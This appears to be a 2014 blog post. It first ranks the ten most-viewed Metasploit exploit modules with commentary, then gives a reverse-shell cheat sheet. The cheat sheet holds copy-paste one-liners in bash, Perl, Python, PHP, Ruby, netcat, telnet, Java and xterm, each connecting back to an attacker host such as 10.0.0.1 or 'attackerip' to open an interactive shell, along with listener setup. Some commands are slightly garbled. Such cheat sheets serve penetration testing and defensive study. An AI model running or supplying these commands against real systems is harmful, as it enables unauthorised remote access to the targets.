Monday 8 December 2014

Most famous Metasploit Auxillary modules top 10

At Rapid7, often get asked what the top 10 Metasploit modules are. This is a hard question to answer: What does "top" mean anyway? Is it a personal opinion, or what is being used in the industry? Because many Metasploit users work in highly sensitive environments, and because we respect our users' privacy, the product doesn't report any usage reports back to us.

We may have found a way to answer your questions: We looked at our metasploit.com web server stats, specifically the Metasploit Auxiliary and Exploit Database, which exploit and module pages were researched the most. Here they are, annotated with Tod Beardley's excellent comments:

  1. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues.
  2. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you’ve ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it.
  3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice.
  4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines -- this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2.
  5. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop (CVE-2010-0017, MSB-MS10-006): Not sure why this module is popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you.
  6. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240): This module exploits CVE-2010-1240 in Adobe Reader. The idea is that you can embed and execute a Meterpreter PE Executable in a PDF, and when the user opens the PDF, surprise shells! Since it’s on this list, it’s probably the most popular social engineering-style module.
  7. Apache mod_isapi <= 2.2.14 Dangling Pointer (CVE-2010-0425): Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular.
  8. Java AtomicReferenceArray Type Violation Vulnerability (CVE-2012-0507): This was initially discovered in the wild as a Java 0-day, and this module represented the fevered work of sinn3r and Juan Vazquez, who turned out the first reliable public cross-platform exploit for the bug. The blog post "CVE-2012-0507 - Java Strikes Again" shows a screenshot of Meterpreter sessions on Windows, Ubuntu, and OSX systems. In fact, this may be the first publicly demonstrable Java exploit that Just Works against all three platforms for the vulnerable versions of Java -- no extra configuration or fingerprinting is needed.
  9. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. Even though it’s a lowly #9, I’d bet it’s the most-used module in classroom and test environments.
  10. Microsoft Plug and Play Service Overflow (CVE-2005-1983, MSB-MS05-039): This exploits the Plug and Play service on Windows 2000. This is the exploit that MS06-040 replaced, though until MS06-040, this was the most reliable exploit around for Windows 2000. The Zotob worm used it. Note that while the exploit isn’t 100% reliable, failed attempts had a tendency to trigger a reboot of the target, so the next attempt would be 100% successful. In other words, for some people, the reboot-on-failure is really more of a feature than a bug.

Let us know if you find this ranking interesting so we can continue sharing it in the future. We're excited to see how this list will look next month, and what the major changes will be!

Reverse Shell's for exploit command execution attack

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234
 
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
 
First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall:
attacker$ nc -l -v attackerip 4444

Bash

Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0
Or:
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
Or:
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  # or:
while read line 0<&5; do $line 2>&5 >&5; done
See also Reverse Shell With Bash from GNUCITIZEN blog.

Perl

Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
If the target system is running Windows use the following one-liner:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby

Longer Ruby reverse shell that does not depend on /bin/sh:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
If the target system is running Windows use the following one-liner:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:
nc -c /bin/sh attackerip 4444
Or:
/bin/sh | nc attackerip 4444
Or:
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Telnet
Of course, you can also use Telnet as an alternative for Netcat:
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp
xterm

Follows further details on xterm reverse shell:

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:
Xnest :1
Then remember to authorise on your system the target IP to connect to you:
xterm -display 127.0.0.1:1  # Run this OUTSIDE the Xnest
xhost +targetip             # Run this INSIDE the spawned xterm on the open X Server
Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:
xterm -display attackerip:1
Or:
$ DISPLAY=attackerip:0 xterm
It will try to connect back to you, attackerip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:
/usr/openwin/bin/xterm -display attackerip:1